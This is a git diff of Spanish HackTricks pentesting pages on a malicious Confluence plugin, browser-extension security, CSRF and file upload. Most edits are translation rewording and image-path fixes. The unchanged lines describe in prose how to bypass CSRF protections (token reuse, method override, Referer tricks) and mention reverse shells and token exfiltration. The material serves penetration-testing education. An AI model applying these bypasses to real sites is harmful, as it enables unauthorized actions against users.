 * [Módulo de Plugin Servlet ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Despliega servlets de Java como parte de un plugin
@@ -129,7 +129,7 @@ Estas son algunas de las acciones que un plugin malicioso podría realizar:
 * **Shell inverso**: O conseguir un shell inverso.
 * **Proxy de DOM**: Si el confluence está dentro de una red privada, sería posible establecer una conexión a través del navegador de algún usuario con acceso a él y, por ejemplo, contactar al servidor ejecutando comandos a través de él.
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Si estás interesado en **una carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
 

pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -10,20 +10,20 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
 
 </details>
 {% endhint %}
 
 ## Información Básica
 
-Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js\_htmldom.asp) pero pueden interactuar con los DOMs de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
+Las extensiones de navegador están escritas en JavaScript y son cargadas por el navegador en segundo plano. Tienen su [DOM](https://www.w3schools.com/js/js\_htmldom.asp) pero pueden interactuar con los DOM de otros sitios. Esto significa que puede comprometer la confidencialidad, integridad y disponibilidad (CIA) de otros sitios.
 
 ## Componentes Principales
 
 Los diseños de las extensiones se ven mejor cuando se visualizan y constan de tres componentes. Veamos cada componente en profundidad.
 
-<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
 
 ### **Scripts de Contenido**
 
@@ -40,7 +40,7 @@ La extensión permite un binario nativo que puede **acceder a la máquina host c
 ### Límites
 
 {% hint style="danger" %}
-Para obtener los privilegios completos del usuario, un atacante debe convencer a la extensión de pasar entradas maliciosas del script de contenido al núcleo de la extensión y del núcleo de la extensión al binario nativo.
+Para obtener todos los privilegios del usuario, un atacante debe convencer a la extensión de pasar entradas maliciosas del script de contenido al núcleo de la extensión y del núcleo de la extensión al binario nativo.
 {% endhint %}
 
 Cada componente de la extensión está separado entre sí por **fuertes límites protectores**. Cada componente se ejecuta en un **proceso de sistema operativo separado**. Los scripts de contenido y los núcleos de extensión se ejecutan en **procesos de sandbox** no disponibles para la mayoría de los servicios del sistema operativo.
@@ -84,7 +84,7 @@ Ejemplo:
 ```
 ### `content_scripts`
 
-Los scripts de contenido se **cargan** cada vez que el usuario **navega a una página que coincide**, en nuestro caso, cualquier página que coincida con la **`https://example.com/*`** expresión y que no coincida con la **`*://*/*/business*`** regex. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) de la página.
+Los scripts de contenido son **cargados** cada vez que el usuario **navega a una página que coincide**, en nuestro caso cualquier página que coincida con la expresión **`https://example.com/*`** y no coincida con la regex **`*://*/*/business*`**. Se ejecutan **como los propios scripts de la página** y tienen acceso arbitrario al [Modelo de Objetos del Documento (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model) de la página.
 ```json
 "content_scripts": [
 {
@@ -101,7 +101,7 @@ Los scripts de contenido se **cargan** cada vez que el usuario **navega a una p
 ```
 Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
 
-Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor de `message` del almacenamiento de la extensión.
+Este es un ejemplo de script de contenido que añadirá un botón de explicación a la página cuando [la API de almacenamiento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para recuperar el valor `message` del almacenamiento de la extensión.
 ```js
 chrome.storage.local.get("message", result =>
 {
@@ -119,18 +119,18 @@ document.body.appendChild(div);
 Un mensaje es enviado a las páginas de la extensión por el script de contenido cuando se hace clic en este botón, a través de la utilización de la [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage). Esto se debe a la limitación del script de contenido en el acceso directo a las APIs, siendo `storage` una de las pocas excepciones. Para funcionalidades más allá de estas excepciones, se envían mensajes a las páginas de la extensión con las que los scripts de contenido pueden comunicarse.
 
 {% hint style="warning" %}
-Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) sirve como la fuente principal.\
-También es notable que los scripts de contenido tienen la capacidad de comunicarse con scripts de fondo, lo que les permite realizar acciones y retransmitir respuestas.
+Dependiendo del navegador, las capacidades del script de contenido pueden variar ligeramente. Para los navegadores basados en Chromium, la lista de capacidades está disponible en la [documentación de Chrome Developers](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities), y para Firefox, el [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis) sirve como la fuente principal.\
+También es notable que los scripts de contenido tienen la capacidad de comunicarse con los scripts de fondo, lo que les permite realizar acciones y transmitir respuestas de vuelta.
 {% endhint %}
 
 Para ver y depurar scripts de contenido en Chrome, se puede acceder al menú de herramientas de desarrollador de Chrome desde Opciones > Más herramientas > Herramientas de desarrollador O presionando Ctrl + Shift + I.
 
-Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
+Una vez que se muestran las herramientas de desarrollador, se debe hacer clic en la **pestaña Fuente**, seguida de la pestaña **Scripts de Contenido**. Esto permite observar los scripts de contenido en ejecución de varias extensiones y establecer puntos de interrupción para rastrear el flujo de ejecución.
 
 ### Scripts de contenido inyectados
 
 {% hint style="success" %}
-Tenga en cuenta que **los scripts de contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona un control más **granular**.
+Tenga en cuenta que **los Scripts de Contenido no son obligatorios** ya que también es posible **inyectar dinámicamente** scripts y **inyectarlos programáticamente** en páginas web a través de **`tabs.executeScript`**. Esto en realidad proporciona un control más **granular**.
 {% endhint %}
 
 Para la inyección programática de un script de contenido, se requiere que la extensión tenga [permisos de host](https://developer.chrome.com/docs/extensions/reference/permissions) para la página en la que se van a inyectar los scripts. Estos permisos pueden asegurarse ya sea **solicitándolos** dentro del manifiesto de la extensión o de manera temporal a través de [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
@@ -198,7 +198,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" });
 ```
 Para incluir o excluir más URLs, también es posible usar **`include_globs`** y **`exclude_globs`**.
 
-### Scripts de Contenido `run_at`
+### Content Scripts `run_at`
 
 El campo `run_at` controla **cuándo se inyectan los archivos JavaScript en la página web**. El valor preferido y predeterminado es `"document_idle"`.
 
@@ -208,7 +208,7 @@ Los valores posibles son:
 * **`document_start`**: Después de cualquier archivo de `css`, pero antes de que se construya cualquier otro DOM o se ejecute cualquier otro script.
 * **`document_end`**: Inmediatamente después de que el DOM esté completo, pero antes de que se hayan cargado subrecursos como imágenes y marcos.
 
-#### A través de `manifest.json`
+#### Via `manifest.json`
 ```json
 {
 "name": "My extension",
@@ -328,7 +328,7 @@ Estas páginas son accesibles en URL como:
 ```
 chrome-extension://<extension-id>/message.html
 ```
-En las extensiones públicas, el **extension-id es accesible**:
+En extensiones públicas, el **extension-id es accesible**:
 
 <figure><img src="../../.gitbook/assets/image (1194).png" alt="" width="375"><figcaption></figcaption></figure>
 
@@ -338,7 +338,7 @@ Sin embargo, si se utiliza el parámetro **`use_dynamic_url`** en `manifest.json
 Ten en cuenta que incluso si una página se menciona aquí, podría estar **protegida contra ClickJacking** gracias a la **Content Security Policy**. Así que también necesitas verificarlo (sección frame-ancestors) antes de confirmar que un ataque de ClickJacking es posible.
 {% endhint %}
 
-El hecho de poder acceder a estas páginas hace que estas páginas sean **potencialmente vulnerables a ClickJacking**:
+El acceso a estas páginas hace que estas páginas sean **potencialmente vulnerables a ClickJacking**:
 
 {% content-ref url="browext-clickjacking.md" %}
 [browext-clickjacking.md](browext-clickjacking.md)
@@ -358,7 +358,7 @@ Además, ten en cuenta que solo puedes abrir páginas indicadas en **`web_access
 
 Según la [**documentación**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable), la propiedad de manifiesto `"externally_connectable"` declara **qué extensiones y páginas web pueden conectarse** a tu extensión a través de [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) y [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage).
 
-* Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de tu extensión o se declara como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
+* Si la clave **`externally_connectable`** **no** está declarada en el manifiesto de tu extensión o está declarada como **`"ids": ["*"]`**, **todas las extensiones pueden conectarse, pero ninguna página web puede conectarse**.
 * Si se especifican **IDs específicos**, como en `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **solo esas aplicaciones** pueden conectarse.
 * Si se especifican **coincidencias**, esas aplicaciones web podrán conectarse:
 ```json
@@ -382,7 +382,7 @@ Además, si el cliente instala una extensión maliciosa, incluso si no se le per
 
 ### Extensión <--> WebApp
 
-Para comunicarse entre el script de contenido y la página web, generalmente se utilizan mensajes post. Por lo tanto, en la aplicación web, generalmente encontrará llamadas a la función **`window.postMessage`** y en el script de contenido oyentes como **`window.addEventListener`**. Sin embargo, tenga en cuenta que la extensión también podría **comunicarse con la aplicación web enviando un Post Message** (y por lo tanto la web debería esperarlo) o simplemente hacer que la web cargue un nuevo script.
+Para comunicarse entre el script de contenido y la página web, generalmente se utilizan mensajes post. Por lo tanto, en la aplicación web generalmente encontrará llamadas a la función **`window.postMessage`** y en el script de contenido oyentes como **`window.addEventListener`**. Sin embargo, tenga en cuenta que la extensión también podría **comunicarse con la aplicación web enviando un Post Message** (y por lo tanto la web debería esperarlo) o simplemente hacer que la web cargue un nuevo script.
 
 ### Dentro de la extensión
 
@@ -431,7 +431,7 @@ Donde es necesario mencionar el **extension ID**.
 
 ### Mensajería Nativa
 
-Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más adelante](./#native-messaging).
+Es posible que los scripts de fondo se comuniquen con binarios dentro del sistema, lo que podría ser **propenso a vulnerabilidades críticas como RCEs** si esta comunicación no está debidamente asegurada. [Más sobre esto más tarde](./#native-messaging).
 ```javascript
 chrome.runtime.sendNativeMessage(
 'com.my_company.my_application',
@@ -479,10 +479,10 @@ window.postMessage(
 Una comunicación segura de Post Message debe verificar la autenticidad del mensaje recibido, esto se puede hacer verificando:
 
 * **`event.isTrusted`**: Esto es Verdadero solo si el evento fue desencadenado por una acción del usuario.
-* El script de contenido podría esperar un mensaje solo si el usuario realiza alguna acción.
-* **dominio de origen**: podría esperar un mensaje solo de una lista permitida de dominios.
+* El script de contenido podría estar esperando un mensaje solo si el usuario realiza alguna acción.
+* **dominio de origen**: podría estar esperando un mensaje solo de una lista permitida de dominios.
 * Si se utiliza una expresión regular, ten mucho cuidado.
-* **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **del mismo ventana** donde el Script de Contenido está escuchando.
+* **Fuente**: `received_message.source !== window` se puede usar para verificar si el mensaje fue **desde la misma ventana** donde el Script de Contenido está escuchando.
 
 Las verificaciones anteriores, incluso si se realizan, podrían ser vulnerables, así que verifica en la siguiente página **posibles bypasses de Post Message**:
 
@@ -547,11 +547,11 @@ sendResponse({farewell: "goodbye"});
 ```
 En el ejemplo destacado, **`sendResponse()`** se ejecutó de manera sincrónica. Para modificar el controlador de eventos `onMessage` para la ejecución asincrónica de `sendResponse()`, es imperativo incorporar `return true;`.
 
-Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta subsiguiente al mismo evento no será tenida en cuenta.
+Una consideración importante es que en escenarios donde múltiples páginas están configuradas para recibir eventos `onMessage`, **la primera página en ejecutar `sendResponse()`** para un evento específico será la única capaz de entregar la respuesta de manera efectiva. Cualquier respuesta posterior al mismo evento no será tenida en cuenta.
 
-Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. En cuanto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
+Al crear nuevas extensiones, la preferencia debe ser hacia promesas en lugar de callbacks. Con respecto al uso de callbacks, la función `sendResponse()` se considera válida solo si se ejecuta directamente dentro del contexto sincrónico, o si el controlador de eventos indica una operación asincrónica al devolver `true`. Si ninguno de los controladores devuelve `true` o si la función `sendResponse()` se elimina de la memoria (recolectada por el garbage collector), el callback asociado con la función `sendMessage()` se activará por defecto.
 
-## Mensajería Nativa
+## Native Messaging
 
 Las extensiones del navegador también permiten comunicarse con **binarios en el sistema a través de stdin**. La aplicación debe instalar un json que indique esto en un json como:
 ```json
@@ -600,7 +600,7 @@ Por supuesto, **no ponga información sensible en el código**, ya que será **p
 
 Para volcar la memoria del navegador, podría **volcar la memoria del proceso** o ir a la **configuración** de la extensión del navegador y hacer clic en **`Inspeccionar pop-up`** -> En la sección **`Memoria`** -> **`Tomar un instantáneo`** y **`CTRL+F`** para buscar dentro del instantáneo información sensible.
 
-Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copie en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
+Además, información altamente sensible como claves mnemotécnicas o contraseñas **no debería permitirse que se copien en el portapapeles** (o al menos eliminarla del portapapeles en unos segundos) porque entonces los procesos que monitorean el portapapeles podrán obtenerlas.
 
 ## Cargando una Extensión en el Navegador
 
@@ -693,7 +693,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 * Visor de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplemente muestra una versión JSON formateada del manifiesto de la extensión.
 * **Análisis de huellas digitales**: Detección de [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) y generación automática de JavaScript de huellas digitales de extensiones de Chrome.
 * **Análisis de Clickjacking potencial**: Detección de páginas HTML de extensiones con la directiva [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas.
-* Visor de advertencias de **permisos**: que muestra una lista de todas las advertencias de solicitud de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
+* Visor de advertencias de **permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión.
 * **Función(es) peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript).
 * **Punto(s) de entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión.
 * Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas:
@@ -714,7 +714,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada**
 
 ### [Neto](https://github.com/elevenpaths/neto)
 
-El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descomprimir los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
+El proyecto Neto es un paquete de Python 3 concebido para analizar y desentrañar características ocultas de plugins y extensiones de navegador para navegadores bien conocidos como Firefox y Chrome. Automatiza el proceso de descompresión de los archivos empaquetados para extraer estas características de recursos relevantes en una extensión como `manifest.json`, carpetas de localización o archivos fuente de Javascript y HTML.
 
 ## Referencias
 

pentesting-web/csrf-cross-site-request-forgery.md

@@ -1,8 +1,8 @@
 # CSRF (Cross Site Request Forgery)
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -38,15 +38,15 @@ Stay informed with the newest bug bounties launching and crucial platform update
 
 Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
 
-1. **Identify a Valuable Action**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
-2. **Session Management**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
-3. **Absence of Unpredictable Parameters**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
+1. **Identificar una Acción Valiosa**: El atacante necesita encontrar una acción que valga la pena explotar, como cambiar la contraseña del usuario, el correo electrónico o elevar privilegios.
+2. **Gestión de Sesiones**: La sesión del usuario debe ser gestionada únicamente a través de cookies o el encabezado de Autenticación Básica HTTP, ya que otros encabezados no pueden ser manipulados para este propósito.
+3. **Ausencia de Parámetros Impredecibles**: La solicitud no debe contener parámetros impredecibles, ya que pueden prevenir el ataque.
 
 ### Quick Check
 
 Puedes **capturar la solicitud en Burp** y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en **Copy as fetch** y verificar la solicitud:
 
-<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### Defending Against CSRF
 
@@ -54,12 +54,12 @@ Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
 
 * [**SameSite cookies**](hacking-with-cookies/#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes de otros sitios. [Más sobre cookies SameSite](hacking-with-cookies/#samesite).
 * [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre el bypass de CORS](cors-bypass.md).
-* **User Verification**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
-* **Checking Referrer or Origin Headers**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
+* **Verificación del Usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
+* **Verificación de Encabezados Referrer u Origin**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
 * Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL confiable)
 * Usar `http://example.com.mal.net` (la URL comienza con la URL confiable)
-* **Modifying Parameter Names**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
-* **CSRF Tokens**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse al hacer cumplir CORS.
+* **Modificación de Nombres de Parámetros**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
+* **Tokens CSRF**: Incorporar un token CSRF único en cada sesión y requerir este token en solicitudes posteriores puede mitigar significativamente el riesgo de CSRF. La efectividad del token puede mejorarse al hacer cumplir CORS.
 
 Entender e implementar estas defensas es crucial para mantener la seguridad e integridad de las aplicaciones web.
 
@@ -79,15 +79,15 @@ Las aplicaciones **que no vinculan los tokens CSRF a las sesiones de usuario** p
 
 Así es como los atacantes explotan esto:
 
-1. **Authenticate** usando su propia cuenta.
-2. **Obtain a valid CSRF token** del pool global.
-3. **Use this token** en un ataque CSRF contra una víctima.
+1. **Autenticarse** usando su propia cuenta.
+2. **Obtener un token CSRF válido** del pool global.
+3. **Usar este token** en un ataque CSRF contra una víctima.
 
 Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas en nombre de la víctima, explotando el **mecanismo de validación de tokens inadecuado** de la aplicación.
 
 ### Method bypass
 
-Si la solicitud está utilizando un "**método raro**", verifica si la **funcionalidad** de **sobrescritura de método** está funcionando. Por ejemplo, si está **usando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
+Si la solicitud está utilizando un método "**raro**", verifica si la **funcionalidad** de **sobrescritura de método** está funcionando. Por ejemplo, si está **usando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
 
 Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o usando los **encabezados**:
 
@@ -97,7 +97,7 @@ Esto también podría funcionar enviando el **parámetro \_method dentro de una
 
 ### Custom header token bypass
 
-Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
+Si la solicitud está añadiendo un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
 
 * Prueba la solicitud sin el **Token Personalizado y también el encabezado.**
 * Prueba la solicitud con el **mismo tamaño exacto pero con un token diferente**.
@@ -125,18 +125,18 @@ A continuación se muestra un ejemplo de cómo podría estructurarse un ataque:
 
 ```
 {% hint style="info" %}
-Nota que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitarás establecer la sesión de la víctima, y por lo tanto estarás atacándote a ti mismo.
+Tenga en cuenta que si el **token csrf está relacionado con la cookie de sesión, este ataque no funcionará** porque necesitará establecer la sesión de la víctima, y por lo tanto, se estará atacando a sí mismo.
 {% endhint %}
 
 ### Cambio de Content-Type
 
-De acuerdo a [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitudes preflight** usando el método **POST**, estos son los valores de Content-Type permitidos:
+De acuerdo con [**esto**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests), para **evitar solicitudes preflight** utilizando el método **POST**, estos son los valores de Content-Type permitidos:
 
 * **`application/x-www-form-urlencoded`**
 * **`multipart/form-data`**
 * **`text/plain`**
 
-Sin embargo, ten en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, así que deberías probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
+Sin embargo, tenga en cuenta que la **lógica del servidor puede variar** dependiendo del **Content-Type** utilizado, por lo que debería probar los valores mencionados y otros como **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
 
 Ejemplo (de [aquí](https://brycec.me/posts/corctf\_2021\_challenges)) de enviar datos JSON como text/plain:
 ```html
@@ -169,7 +169,7 @@ Las aplicaciones pueden validar el encabezado 'Referer' solo cuando está presen
 ```
 Esto asegura que el encabezado 'Referer' se omita, lo que puede eludir las verificaciones de validación en algunas aplicaciones.
 
-**Evasiones de Regexp**
+**Saltos de Regexp**
 
 {% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
 [url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
@@ -200,11 +200,11 @@ La primera parte de [**este CTF writeup**](https://github.com/google/google-ctf/
 
 Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**.
 
-## **Ejemplos de explotación**
+## **Ejemplos de Exploit**
 
 ### **Exfiltrando el token CSRF**
 
-Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o de una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/).
+Si se está utilizando un **token CSRF** como **defensa**, podrías intentar **exfiltrarlo** abusando de una vulnerabilidad de [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) o una vulnerabilidad de [**Markup Colgante**](dangling-markup-html-scriptless-injection/).
 
 ### **GET usando etiquetas HTML**
 ```xml
@@ -600,8 +600,8 @@ Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actuali
 **Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -609,7 +609,7 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 {% endhint %}

pentesting-web/file-upload/README.md

@@ -1,8 +1,8 @@
 # Carga de Archivos
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
